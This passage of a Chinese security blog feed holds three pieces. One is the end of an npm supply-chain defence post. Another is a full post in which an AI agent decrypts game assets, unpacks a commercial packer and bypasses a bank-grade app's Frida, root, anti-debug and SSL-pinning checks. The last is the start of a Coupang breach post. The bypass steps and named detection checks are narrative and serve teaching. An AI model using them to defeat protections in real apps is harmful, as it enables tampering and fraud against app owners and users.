control over this behavior.</p></blockquote><p>一開始說這不是漏洞所以把報告關掉，但後來某種層面上看來還是修了，畢竟下個大版本就不允許 git 了，可能是不覺得這個行為有嚴重到要立刻當成漏洞來修吧。</p><h2><span id="誠心推薦-pnpm-以及我的-npm-設定">誠心推薦 pnpm 以及我的 npm 設定</span></h2><p>在研究這些 JavaScript 生態系的供應鏈攻擊手法時，我可以明確感覺到 pnpm 是做得比較用心的，而且預設就幫你把該擋的都擋掉了。</p><p>舉例來說，你可以直接找到一個 <a href="https://pnpm.io/supply-chain-security#block-risky-postinstall-scripts">Mitigating supply chain attacks</a> 的文件，裡面把目前的攻擊面以及防禦方式講得很清楚，其實就是我們前面提到的那幾個：</p><ol><li>阻止 postinstall scripts</li><li>阻止 exotic transitive dependencies</li><li>延遲更新套件</li><li>使用 lockfile</li></ol><p>還有一個前面沒提到的 <code>trustPolicy</code>，這個主要是跟發布有關，如果發布的「可信度」下降了就先擋掉之類的，主要與發布時用的方式以及 provenance 有關，我還沒時間研究就先不多談了。</p><p>而上面提到的這些防禦方式，從 pnpm v11 開始就自動幫你做完了：</p><ol><li><code>postinstall</code> 等 scripts 預設關閉（這個更早，v10 就有）</li><li><code>minimumReleaseAge</code> 預設 1 天</li><li><code>blockExoticSubdeps</code> 預設打開</li></ol><p>而 npm 的話則是要自己設定，目前我自己的設定是：</p><pre class="line-numbers language-ini" data-language="ini"><code class="language-ini"><span class="token comment"># 不執行 postinstall 等腳本</span><span class="token key attr-name">ignore-scripts</span><span class="token punctuation">=</span><span class="token value attr-value">true</span><span class="token comment"># 不下載 3 天內發布的套件</span><span class="token key attr-name">min-release-age</span><span class="token punctuation">=</span><span class="token value attr-value">3</span><span class="token comment"># 關閉 git 下載</span><span class="token key attr-name">allow-git</span><span class="token punctuation">=</span><span class="token value attr-value">none</span><span class="token comment"># 關閉 direct URL 下載</span><span class="token key attr-name">allow-remote</span><span class="token punctuation">=</span><span class="token value attr-value">none</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>有需要的話可以自己再調整，例如說需要用到 git 就 <code>allow-git=root</code> 之類的。</p><h2><span id="總結">總結</span></h2><p>在一般使用電腦時，大家都會知道不要隨便下載與安裝來路不明的軟體，但與此同時，有些人卻又隨意裝著 VScode 的擴充套件、GitHub 上的開源項目或是開發時會用到的套件，忽略了這些也都有可能出問題。</p><p>開發者一向是價值比較高的目標，有許多開發者電腦上都直接放著各種雲端服務的 key 甚至有可能是 production 的，而在 CI 上安裝套件時也存在風險，CI 中通常有著更多高價值的 token 可以偷取。有許多攻擊都是先駭入某一個套件，接著藉由這個套件駭入更多套件以及公司，不斷把影響範圍擴大。</p><p>最近的供應鏈攻擊真的很多，每一兩周就會看到一起，而且規模很大。再者，以前的供應鏈攻擊可能是入侵某一個小套件，但最近的攻擊是直接把大的那個給駭掉（如 axios 與 TanStack，都是直接駭入大的），並不是從那些很小的子套件下手。</p><p>建議大家把該設定的東西都設定好，如果用 npm 就是：</p><pre class="line-numbers language-ini" data-language="ini"><code class="language-ini"><span class="token comment"># 不執行 postinstall 等腳本</span><span class="token key attr-name">ignore-scripts</span><span class="token punctuation">=</span><span class="token value attr-value">true</span><span class="token comment"># 不下載 3 天內發布的套件</span><span class="token key attr-name">min-release-age</span><span class="token punctuation">=</span><span class="token value attr-value">3</span><span class="token comment"># 關閉 git 下載</span><span class="token key attr-name">allow-git</span><span class="token punctuation">=</span><span class="token value attr-value">none</span><span class="token comment"># 關閉 direct URL 下載</span><span class="token key attr-name">allow-remote</span><span class="token punctuation">=</span><span class="token value attr-value">none</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>用 pnpm 就是更新到最新版本，就能享有預設的保護。</p><p>若是想要更安全，可以用之前提過的 <a href="https://socket.dev/features/firewall">sfw</a>，多加一層防護。</p><p>雖然說風險沒辦法 100% 避免，但至少我們可以盡量降低它。想要再安全的就是裝套件或甚至開發時一律在 <a href="https://code.visualstudio.com/docs/devcontainers/containers">dev container</a> 裡面做，能夠從更低的 level 去控制該環境可以存取到的東西，是一種 sandbox 的概念，但這個成本就比較高就是了。</p><p>總之呢，我覺得把 npm 設定好是一定要的，或是改用 pnpm。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;2026 年 5 月 19 日，拿來做圖表的套件 antv 遭到攻擊，最新版本被植入惡意程式。&lt;/p&gt;
&lt;p&gt;5 月 13 日，前端圈很熱門的 TanStack 系列 repo 也遭到攻擊。&lt;/p&gt;
&lt;p&gt;4 月 1 日，每週有一億次下載的 axios 也同樣被攻擊，被發布了惡意版本。&lt;/p&gt;
&lt;p&gt;大概每隔一個月或甚至一週就會看到供應鏈攻擊的新聞，而被攻擊的對象也不只有 npm，Python 的 PyPI、.NET 的 NuGet、甚至是 Docker Hub 或是開發者在用的 VSCode extension，也全部都是目標。&lt;/p&gt;
&lt;p&gt;在這個前提下，開發者該如何保護自己？&lt;/p&gt;
&lt;p&gt;這篇主要來談談針對 npm 的供應鏈攻擊，先從原理開始聊起，接著來談談攻擊手法，以及防禦方式。&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  
  
  <entry>
    <title>從逆向工程重新認識 AI 的強大</title>
    <link href="https://blog.huli.tw/2026/04/18/ai-reverse-engineering-op/"/>
    <id>https://blog.huli.tw/2026/04/18/ai-reverse-engineering-op/</id>
    <published>2026-04-18T02:46:30.000Z</published>
    <updated>2026-04-18T12:03:31.215Z</updated>
    
    <content type="html"><![CDATA[<p>之前寫過一篇<a href="https://blog.huli.tw/2026/03/01/reverse-engineering-with-ai-ghidra-mcp/">感謝 AI 讓我這外行人也能做簡單的逆向工程</a>，描述了我怎麼結合 AI agent 跟 ghidra MCP，去逆向一個 Golang binary（stripped），就算結果有點小錯誤，但整體方向都是對的。</p><p>過了快兩個月，這中間我拿 AI 去逆向了更多東西，更多我以為 AI 逆不出來的東西，但 AI 狠狠地打了我的臉，我才是無知的那個。</p><p>這篇記錄一下 AI 能做到的事情，最後聊聊這件事讓我對 AI 的看法有了怎樣的改變。</p><span id="more"></span><h2><span id="精選案例">精選案例</span></h2><p>底下的案例沒有特別講的話，都是 Android 應用程式。</p><h3><span id="案例一cocos2d-遊戲">案例一：Cocos2d 遊戲</span></h3><p>AI 把 apk 拆開後，用 jadx 還原出 Java，發現遊戲邏輯不在裡面。</p><p>觀察一下發現是用 Cocos2d 寫的，assets 底下有大量加密過的 JavaScript 與 JSON 文件，還有個 <code>libcocos2djs.so</code>。</p><p>下一步把 <code>libcocos2djs.so</code> 裡面的符號解析出來，確實看到一些加解密函數，而這個 so 有 35 MB 它覺得太大，所以沒有整包解開，而是選擇從解密的函式開始逆向，識別出加密演算法是 Blowfish。</p><p>接著追了一下誰 call 了設置 key 的函式，把那一段反編譯後還原出了 key，在原始程式碼中是用字串拼接的方式一個一個拼上去的：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">std<span class="token operator">::</span>string key<span class="token punctuation">;</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'7'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x37</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'2'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x32</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'c'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x63</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'d'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x64</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>（共 <span class="token number">32</span> 個字元）<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>之所以特別講這個，是因為 AI 在嘗試這個方法之前，先在 code 裡面掃過一次，看有沒有長得很像 key 的字串，但發現沒有。做到這步 AI 就知道因為 key 是一個一個加上去的，所以在 code 裡不連續，沒辦法直接掃出來。</p><p>再來用 Python 寫了個腳本去解密所有資源，最後就拿到了 JavaScript，還原出遊戲邏輯以及 client 端配置。</p><p>這個案例主要是走純靜態分析，AI 光用靜態分析就找到加解密函式以及設置 key 的地方，再反編譯回推出 key 的內容，把加密過的遊戲資源解開。</p><h3><span id="案例二另一個-cocos2d-遊戲">案例二：另一個 Cocos2d 遊戲</span></h3><p>一樣先拆開先 jadx，發現 dex 有加了個殼，不過這個遊戲也觀察出來是 Cocos2d，所以 dex 先放一旁，先看 <code>libcocos2djs.so</code>，從裡面找到一個疑似的 key。</p><p>但因為這個 key 解不了加密的 jsc，所以換別條路，用 Unicorn Engine 去模擬執行這個 so，不過沒進展，跑一跑卡住。</p><p>靜態分析跑不出來，改採動態分析，安裝了 Android 模擬器以及 frida，去 hook 多個參數，<code>Memory.scanSync</code> 跟 <code>fopen</code> 都失敗了，後來也去找了 <code>libcocos2djs.so</code> 導出的函數，發現 <code>xxtea_decrypt</code> 是 public 的，就去 hook <code>xxtea_decrypt</code>。</p><p>把遊戲跑起來之後，就拿到了正確的 key，並且還原出了那些加密後的 jsc 檔案，同樣含有遊戲邏輯與配置。</p><p>跑到這邊之後因為遊戲已經還原，就停止了，我想繼續測試他的能力，於是跟他説：「那你試著脫脫看那個殼吧」，結果那個殼的保護滿弱，跑起來之後 frida-dexdump 一下就把 dex 都 dump 出來了。</p><p>這個案例靜態分析跑不通改採動態分析加上 hook，並且還順便脫了一個殼(雖然殼滿弱的就是了)。</p><h3><span id="案例三unity-遊戲">案例三：Unity 遊戲</span></h3><p>APK 拆開之後有 libil2cpp、libunity 跟 libxlua 三個 so 檔案，猜測核心邏輯在 Lua 層。之後先用 Il2CppDumper 把 global-metadata 拆開，解出一些 C# 檔案跟 DLL，用 ILSpy 反編譯之後發現都是 class，實作是空的（似乎 IL2CPP 本來就是這樣？）</p><p>用 jadx 拆 Java，也都是一些 SDK，沒有遊戲邏輯，於是把心力放在找出 Lua 檔案。</p><p>用 UnityPy 掃所有 asset bundle 的 TextAsset，只找到 4 個 lua 腳本，都不是遊戲核心邏輯。從剛剛拿的 C# 程式碼中找到一些字串，發現遊戲有熱更新系統，用裡面翻到的 URL 跟 AES key 與 IV 嘗試去下載，發現都回 404 載不下來。</p><p>後來轉向再回去 asset bundle 找，找到一個 bundle 裡面有 3000 個 TextAsset（第一次沒檢查到），從檔名確認是加密的 Lua 腳本。</p><p>接著觀察發現這些檔案有許多前 6 個 byte 一樣，猜測是 Lua 5.3 編譯後的 bytecode 開頭，用 XOR 反推回 key 發現解不開。然後又嘗試了幾種不同的加密法，各種 AES 的模式，還是解不開。</p><p>再來去反編譯 libil2cpp，看到解密的過程是用 XOR 沒錯，然後密鑰是 6 個 byte 不斷重複。在 C# 裡面跟 global-metadata 用靜態的方式都找不到，到這邊卡關，由我介入。</p><p>我就問他說：「你動態分析會不會比較快？」</p><p>AI 給了兩個方案，一個 Frida hook，一個 Unicorn 模擬，我選後者，結果 AI 在寫腳本的時候，神來一筆地用別的方法破解了。他說他觀察那些文件，發現有一半前 54 個 bytes 都一樣，而且是 6 個 bytes 不斷重複，<code>c3 70 43 22 34 a6</code>。</p><p>如果 key 是 6 個 bytes 重複 XOR，那密文重複代表明文也重複，什麼 Lua 文件開頭會有這麼多完全相同的字元？</p><p>AI 大膽的猜測：「註解」，Lua 的註解是 <code>--</code> 開頭，很多框架的習慣是開頭放 <code>-----</code> 一段長長的註解當分隔線。然後他就以這個假設為基礎， XOR 了一下拿到 key，再去解密 Lua 腳本，發現全部解開了，解出來直接是可讀的原始碼。</p><p>這個案例的關鍵在於 AI 是懂觀察的，而且會運用許多手段試著去解密，底下是 AI 在解這個案例時的流程，可以看到中間嘗試過許多方法但都走不通，不通就換下一個方法：</p><pre class="line-numbers language-none"><code class="language-none">XAPK 解包  ↓Il2CppDumper + ILSpy + JADX  ← 標準流程，沒什麼問題  ↓UnityPy 掃描 → 只有 4 個工具腳本  ← 以為核心邏輯在服務器  ↓找 AppConfig → 拿到 CDN 地址和 AES Key  ↓嘗試下載 → 全部 404  ← 死胡同  ↓重新檢查 AssetBundle → 找到加密文件！  ↓觀察密文 → 發現 6 bytes 重複模式  ↓❌ 錯誤假設：Lua bytecode → 推導出錯誤的密鑰流  ↓❌ 嘗試 AES-CBC&#x2F;ECB&#x2F;OFB&#x2F;CTR&#x2F;CFB → 全不匹配❌ 嘗試 RC4 → 不匹配❌ 嘗試 .NET Random（10K seeds）→ 不匹配  ↓逆向 libil2cpp.so → 確認是簡單重複 XOR（不是流密碼）  ↓❌ 嘗試靜態找 ENCRYPT_BYTES → 走不通❌ 嘗試 metadata defaultValues → 走不通❌ 嘗試 ELF GOT&#x2F;RELA → 太深  ↓ 回頭看密文特徵 → 1500 個文件共享 62 bytes 前綴  ↓💡 假設明文是 &#39;-&#39;(0x2d) 重複 → XOR 得到 key → 解密成功！<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="案例四另一個-unity-遊戲">案例四：另一個 Unity 遊戲</span></h3><p>跟上一個拆開來類似，一樣發現是 Unity + Lua，但這次解密方法比較簡單，把 C# 的 dump 出來之後，用 encypt 當關鍵字去找，直接在裡面找到 LuaEncryption 的 key，以及自定義的 asset bundle offset，要跳過前 12 個 bytes。</p><p>接下來就跳過 12 個 bytes，然後用 key 去 XOR，得到了 Lua 的 bytecode（這次就是 bytecode 了不是原始碼），拼接起來變成一個大的 asset。</p><p>接下來 AI 寫了個 Python 腳本：</p><ol><li>跳過前 12 bytes 自定義頭部</li><li>掃描所有 <code>UnityFS\x00</code> 標記的位置</li><li>按偏移量切割成獨立的 bundle</li><li>對每個 bundle 用 UnityPy 解析</li><li>提取所有 <code>.lua.bytes</code> 文件</li><li>對每個文件用 key 去 XOR 解密</li></ol><p>就拿到 7000 多個 Lua JIT bytecode，然後全部丟到 ljd 去解回來，拿到可讀性高許多的 Lua 原始碼，總共 1000 萬行。</p><p>這案例跟第一個類似，靜態分析就全部搞定了，直接找到加密的 key 以及模式，把資源全部都解回來。</p><h3><span id="案例五混淆過的-app">案例五：混淆過的 App</span></h3><p>這個就是一般常見的稍微做過保護的 App，Java 層做了混淆讓你不容易還原，然後加解密相關邏輯都放 so 檔案裡面用 JNI 去使用，在送出 request 時會經過一些加密外加 signature，只要破解不了演算法就沒辦法離開 App 使用。</p><p>AI 拆開來發現混淆過後，自己寫了個反混淆的腳本，把幾個核心的 class 名稱還原了出來，接著開始逆向 so 那一段，基於 capstone + lief 反組譯 arm64-v8a 版本，還原為 pseudo-C。</p><p>有了這些程式碼之後就能進一步分析，最後把裡面的加解密演算法外加 key 都還原了出來。</p><p>所以混淆歸混淆，AI 可以經過觀察後得出一些方法想辦法還原。就算沒有還原，AI 讀混淆過後的程式碼也比人厲害得多。</p><h3><span id="案例六加殼過的銀行等級-app">案例六：加殼過的銀行等級 App</span></h3><p>上面這些試完之後，我決定來挑戰大魔王：銀行等級的 App。</p><p>銀行通常對於資安的要求比較嚴格，所以鐵定會有一堆加解密、混淆與加殼，還有各種防 root 與防 hook 機制，因此「銀行等級」指的是類似的規格。</p><p>目標很明確，就是要能做到在 root 過的模擬器上打開 App，並且可以 hook 看到請求內容，做到這些代表裡面的保護機制都被繞過了。</p><p>這個銀行等級的 App 是加了俗稱的商業殼（意思就是某一間公司特別做的殼，這種商業方案的殼都滿貴的，一年可能要幾十萬台幣），主要邏輯都在一個 so 檔裡面。</p><p>AI 先用 <code>objdump -h</code> 看 section headers，發現兩個非標準 section，然後 <code>.text</code> 裡面一半以上都是加密的沒辦法反組譯，<code>.rodata</code> 也是完全加密，但從其他線索中已經推斷出是哪間的殼。</p><p>接著 AI 開始試著把 so 的殼先脫掉，先亂試了幾個方法都失敗，例如說想要暴力破解 key 之類的。</p><p>幾種方法都失敗後，開始先解一些能解出來的地方，試了幾個方法後知道了殼的運作，成功脫殼。</p><p>脫殼之後，就看得到裡面有什麼東西以及保護措施了，在 native 層有這些保護措施：</p><ul><li>反注入偵測：掃描 <code>/proc/self/maps</code> 尋找 <code>frida-agent</code>、<code>frida-gadget</code> 等記憶體映射</li><li>執行緒名稱掃描：讀取 <code>/proc/self/task/*/comm</code> 尋找 <code>pool-frida</code> 等 Frida 特徵執行緒</li><li>反 debug：<code>ptrace(PTRACE_TRACEME)</code> 自我附加，阻止 debugger</li><li>字串比對：透過 <code>strstr</code>、<code>strncmp</code> 等函式在記憶體中搜尋 Frida 關鍵字</li><li>SO 加殼：<code>.text</code> 段加密，runtime 動態解密，無法靜態分析</li></ul><p>在 Java 層則有這些：</p><ul><li>Root 偵測：<code>File.exists()</code> 檢查 su、magisk、supersu 等路徑</li><li>模擬器偵測</li><li>SystemProperties 偵測</li><li>anti-debug</li><li>SSL Pinning</li></ul><p>繞過方式是搶先一步去 hook 各種方法，讓它都偵測不到，然後 native 層會把結果傳給 Java，在那邊去 patch 也行。既然都知道有哪些偵測手段了，就可以根據這些手段去做相對應的處理。</p><p>至於 Java 層的混淆，AI 觀察之後寫了個 1000 行的 Python 腳本根據各種規則去把字串還原，得到可讀性高的字串。</p><p>總之呢，最後成功了，App 打得開，可以 hook 到請求內容，保護措施全部都被繞過了。</p><h3><span id="案例七加殼過的遊戲">案例七：加殼過的遊戲</span></h3><p>自從知道 AI 也能脫殼以後，我就覺得說不定沒什麼是 AI 解不開的了，於是再找一個加殼過的遊戲。</p><p>這個遊戲的難度就比之前高了，他一樣是用了某個商業殼，而且做了雙層加密，他的 dex 先用一個 so 加密，然後這個 so 再用另一個 so 加密，而這個入口點的 so 本身又加了殼，不讓你破解。</p><p>我試了一天讓 AI 去試，最後都沒試出什麼結果，就算網路上有找到其他已經脫殼過的文章，他還是沒有完全試出來，so 的殼沒有脫掉，碰到了一些障礙。</p><p>但是呢，我讓 AI 換個方向之後，他發現這 Unity 遊戲其實主要邏輯放在 Lua，而 Lua 的資源雖然有加密，但是觀察加密過的 hex 之後，很快就觀察到是什麼模式，然後弄著弄著就解開了。</p><p>所以雖然 Java 層的那些程式碼沒有完全解開，殼也沒有脫掉，但總之核心的遊戲邏輯是拿到了。</p><p>這樣應該也算是成功吧？再給 AI 更久的時間、更多參考資料以及更多好用的工具，要把那個殼脫掉我認為也是辦得到的。</p><h2><span id="我的-ai-使用方式與花費">我的 AI 使用方式與花費</span></h2><p>我用的是 Cursor 搭配 Claude Opus 4.6 high thinking，沒有裝任何 skill，而且 prompt 也很簡單：</p><blockquote><p>xxx 資料夾底下有個 apk，把它逆向還原，要還原成原始碼</p></blockquote><p>中途如果他碰到一些東西卡住，我會給他一些指示，例如說碰到加殼的時候：</p><blockquote><p>他怎麼做到無法靜態分析的，怎麼個加密法，什麼時候會解密？你試試看能不能脫殼解開</p></blockquote><p>有時候會給一些更明確的指示：</p><blockquote><p>我們先 plan 一下之後要做的事，我待會要去睡了</p><ol><li>.so 還原成 C</li><li>查看 apk 還有什麼其他保護，該怎麼破解</li><li>java 從混淆過的程式碼還原，至少要知道邏輯，或是觀察哪些  pattern 知道是 android 自己的 lib</li></ol><p>主要就這幾個任務，我想要你對這個 apk 的保護方式瞭若指掌，彷彿有 source code 一樣，然後想出破解方法</p></blockquote><p>我權限都開給他了，所有工具都是他自己裝的。他通常會先嘗試靜態分析，當他卡很久的時候，我就會讓他切換到動態分析，裝 Android 模擬器搭配 Frida hook。</p><p>我會觀察 AI 在做什麼，如果我覺得他太偏離方向，我會主動中斷並給他建議（但滿少發生的）。在 AI 做完之後，我會讓他總結一下他做了什麼，卡在哪裡，又是怎麼解決的。</p><p>在逆向了許多 app 之後，我會把這些經驗總結成 skill，下次速度就能更快。</p><p>每個 App 逆向還原的時間不一定，但大多數都在 30 分鐘左右，花的 token 沒有詳細計算，但總之在 Cursor 的計費下，逆向一個 App 花不到 5 塊美金。</p><p>不過我也有用 Claude Code 試了一下，有一個 Unity 的遊戲花了 4000 萬個 token，換算成錢大約 27 塊美金。</p><p>因此，比較公正的說法，如果純看 token 用量來說，我猜平均落在 30 塊美金上下。至於為什麼用 Cursor 會這麼便宜，我也不知道，明明是相同的模型。</p><h2><span id="ai-的不足之處">AI 的不足之處</span></h2><p>雖然說能解的都解開了，但有些只是你以為他有解開，其實根本沒做好。</p><p>舉個例子，遊戲的 APK 解開後他通常會用一些工具把 DLL 檔案拿出來，然後還原成 C#。通常我給的指示是「還原出原始碼」，但有時候他只有還原到 interface，只有方法的定義跟參數，並沒有實作的邏輯。</p><p>接著就是容易被 AI 騙的地方了，就算他只有 interface，也能根據這些命名跟結構自己猜運作邏輯，所以你讓他寫一份報告去分析有哪些東西，他也能寫得頭頭是道。</p><p>若是沒有再去追問細節，你會以為他真的還原出原始碼了，但其實不然。</p><p>這是個非常需要小心的地方，我之後每次都會追問他：「所以你有拿到原始碼了嗎？看一下登入系統的實作吧，要能看到實作才算數」，逼迫他再做更深一點，把我想要的東西還原出來。</p><p>這個確認的過程是很重要的，少了這一步就不完整了，就會被 AI 欺騙。反之，若是有好好確認，AI 的產出一定會讓你滿意。</p><h2><span id="一些心得">一些心得</span></h2><h3><span id="原來是我限制了-ai">原來是我限制了 AI</span></h3><p>我之前對 AI 的認知是：「逆向一些小東西絕對沒問題，但應該沒辦法脫殼吧」，但後來 AI 打我臉，跟我說我錯了。</p><p>那時我才意識到，我才是 AI 的限制器。</p><p>我明明沒有試過，但卻覺得 AI 辦不到。以前在軟體開發時我也會有類似的想法，某些工作之所以自己來，是因為我覺得 AI 辦不到。例如說需要同時改多個專案啦，或者是某個比較大的功能，需要對整體架構都很了解，我就會覺得 AI 辦不到，不如我自己來。</p><p>但後來我開始把越來越多 task 交給 AI，才發現大部分他都辦得到，再次印證了我才是 AI 的限制器。難怪之前有人說在某些領域，不懂的人用 AI 反而用的比較好，因為你不會先去假設 AI 做不到就不給他，而是什麼都讓他去是，做不到再說。</p><p>講回 AI 逆向這件事情，我看了 AI 逆向這麼多個 app 的流程，發現本質上都是一樣的，那就是做各種嘗試並觀察輸出，再從輸出中去改善，或是換個方法做事。</p><p>例如說 Frida hook 好了，如果 hook 失敗，他會根據 error log 去改。若是 hook 以後 app 自己關掉，他會更改 hook 的時機，或者是去測到底哪一段被偵測到，接著做出改動。</p><p>或許，只要你能給 AI 一個讓他發揮的環境，並確保他能看到足夠的 log 而且驗證對錯，再給他夠多的時間，沒有什麼是逆向不出來的。我後來也試了 desktop app，試了 wasm，都是可以的。</p><p>就算是加殼，只要讓 AI 去觀察去追蹤，就像人類逆向的流程那樣，他也能慢慢觀察、動手，再根據結果去調整，然後再試一次，再試無數次，直到成功為止。</p><p>雖然說我原本就知道 AI 強，但其實沒想到已經強到這種地步。如同我以前<a href="https://blog.huli.tw/2023/04/27/android-apk-decompile-intro-1/">寫過的</a>，逆向工程我會一點點皮毛，但到了 native 那一層就完全不行了，而 AI 已經超越了我的能力，做出了那些我做不到的事，甚至做出了「我以為他做不到」的事。</p><p>經歷過這次探索之後，我對 AI 的能力徹底改觀了，並且對「AI 取代軟體工程師」這件事情有了更多的思考。假設我上面說的那段「沒有什麼是逆向不出來的」是對的，那這是否也能運用在軟體開發上？如果 AI 可以自己規劃、寫程式、測試並驗證結果，那是不是讓他一直跑，可以做出一個完整的應用程式，而且品質還很好？</p><p>這個話題我們留到之後聊吧，還有其他角度可以一起探討。</p><h3><span id="攻防的平衡">攻防的平衡</span></h3><p>只要是 client 端的東西，都是沒有秘密的。</p><p>混淆也好，加殼也好，都只是延緩被還原的時間，只要付出的時間夠多，你所有程式碼都是在 client 跑的，因此所有東西都能還原。</p><p>因此，許多防禦手法都建立在「增加難度延長破解時間」這點上面。我們都知道 client 沒有秘密，但有些在 client 端的東西，我們還是想盡量守護，讓還原的難度變高。</p><p>所以守方把程式碼混淆，讓變數變成一堆難以閱讀的文字，甚至是把常數加密，要執行才能解開，也是不想讓你這麼容易看到明文。加殼也是一樣，不希望這麼容易看到裡面到底在跑什麼，而 anti-debug 也是不希望你 root，不希望你 hook，不希望你 debug，所以試著去偵測各種逆向工具是否存在。</p><p>而攻方就是花時間去反向推回你原本的邏輯，靠著經驗加速，知道這個模式看起來是 AES，這個看起來是 XOR，這個模式以前出現過，應該怎麼破解等等。只要守方稍微調整一下，就算只是一點，最後產出來的東西也可能完全不同，攻方需要從頭再來一次。</p><p>但是 AI 逆向變得這麼強以後，立場會不會開始反過來？攻方花這麼多時間弄出來的殼，結果 AI 一個小時就脫掉了。想了這麼多混淆的辦法，自己實作了一套新的演算法，結果 AI 看一看就寫了個反向腳本，全部組裝回去。</p><p>若是守方要跟上，或許需要用魔法對付魔法，用 AI 來加殼，每次加殼都換一種全新的方法或是模式，而且不是簡單的更換，是讓 AI 讓它變得更複雜，才能確保攻方需要從頭開始。</p><p>但儘管如此，在 AI 面前，會不會又只花了一兩小時就解開了？我不知道。</p><h2><span id="總結">總結</span></h2><p>我不是什麼逆向工程專家，因此對於 AI 在這領域的影響不多加評論。但至少對我這個不太會逆向的人來說，AI 已經幾乎完全滿足我對逆向工程的需求，桌面應用可以逆，APK 可以逆，WASM 可以逆，殼可以脫，加密可以解。</p><p>對於 binary 的逆向，雖然有時需要我協助打開 Ghidra，幫他裝好 Ghidra MCP，但這都是小事。</p><p>經過此次一役，見識到了 AI 的能力之後，我已經臣服於 AI。</p><p>有沒有什麼是 AI 解不開的？或許有，像我上面提的案例七其實就沒解開，他只是換個方式拿到我想要的東西，並沒有把 APP 全部都還原。但除了這個以外，他每一個都確實解開了（話說我很好奇 AI 能不能解開 HybridCLR 的<a href="https://www.hybridclr.cn/docs/business/basicencryption">商業殼</a>，但我還沒碰過用這個商業版本的）。</p><p>有沒有可能 AI 逆向被我講得好像很強，實際上在專業人士眼中沒這麼厲害？也有這個可能，畢竟我拆過的東西，看雪（中國有名的逆向社群）那邊的大大們都拆的出來，甚至有些東西已經被人拆過且分享了心得，AI 有參考到。</p><p>但總之，這篇文章的初衷是想記錄一下我體驗完 AI 逆向工程的心得，就三個字：「太神啦！」，這次體驗完，徹底影響我對 AI 能力的看法。</p><p>而且不是「AI 輔助逆向工程」，是全 AI 逆向工程，工具他自己裝，分析他自己分析，反組譯他自己反，我只會在旁邊靠北說：「你應該解得開吧，再試試」。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;之前寫過一篇&lt;a href=&quot;https://blog.huli.tw/2026/03/01/reverse-engineering-with-ai-ghidra-mcp/&quot;&gt;感謝 AI 讓我這外行人也能做簡單的逆向工程&lt;/a&gt;，描述了我怎麼結合 AI agent 跟 ghidra MCP，去逆向一個 Golang binary（stripped），就算結果有點小錯誤，但整體方向都是對的。&lt;/p&gt;
&lt;p&gt;過了快兩個月，這中間我拿 AI 去逆向了更多東西，更多我以為 AI 逆不出來的東西，但 AI 狠狠地打了我的臉，我才是無知的那個。&lt;/p&gt;
&lt;p&gt;這篇記錄一下 AI 能做到的事情，最後聊聊這件事讓我對 AI 的看法有了怎樣的改變。&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  
  
  <entry>
    <title>從 Coupang 的個資外洩談內部威脅、金鑰管理與 JWT</title>
    <link href="https://blog.huli.tw/2026/03/19/coupang-insider-kms-and-jwt/"/>
    <id>https://blog.huli.tw/2026/03/19/coupang-insider-kms-and-jwt/</id>
    <published>2026-03-19T02:28:05.000Z</published>
    <updated>2026-03-19T11:29:07.230Z</updated>
    
    <content type="html"><![CDATA[<p>從去年 11 月開始，Coupang 個資外洩的事件就受到不少關注，一來是據傳外洩的資料數目龐大，二來這間公司也有在台灣設點。隨著調查進度持續推進，也有越來越多細節出現，甚至還被形容為<a href="https://ec.ltn.com.tw/article/breakingnews/5289937">如同電影情節</a>，去河裡打撈硬碟。</p><p>最近跑去翻了韓國那邊出的報告發現寫得還滿詳細的，就寫一篇來聊聊這整件事情在技術上到底是怎麼做到的，以及在資安上又有哪些可以留意的地方。</p><span id="more"></span><h2><span id="到底怎麼打進去的">到底怎麼打進去的？</span></h2><p>先簡單整理一下整起事件的經過，讓大家有個基本脈絡，之後才能繼續談更細的地方。</p><p>目前台灣官方有兩篇聲明稿：</p><ol><li><a href="https://tw.coupangcorp.com/archives/5789/">Coupang酷澎台灣就近期酷澎韓國資安事件調查的最新說明</a> （2025-12-25 發布）</li><li><a href="https://tw.coupangcorp.com/archives/5954/">酷澎台灣：針對2025年11月29日公告個資事件之更新</a> （2026-02-24 發布）</li></ol><p>但有更多細節的其實是這篇只有英文跟韓文的官方聲明：<a href="https://www.aboutcoupang.com/English/news/news-details/2025/update-on-coupang-korea-cybersecurity-incident/">Update on Coupang Korea Cybersecurity Incident</a> （2025-12-29 發布）</p><p>想了解更多技術細節的話，則需要看韓國科學技術情報通訊部（Ministry of Science and ICT，MSIT）在 2 月 10 號發表的調查報告，這篇寫得超級詳細：<a 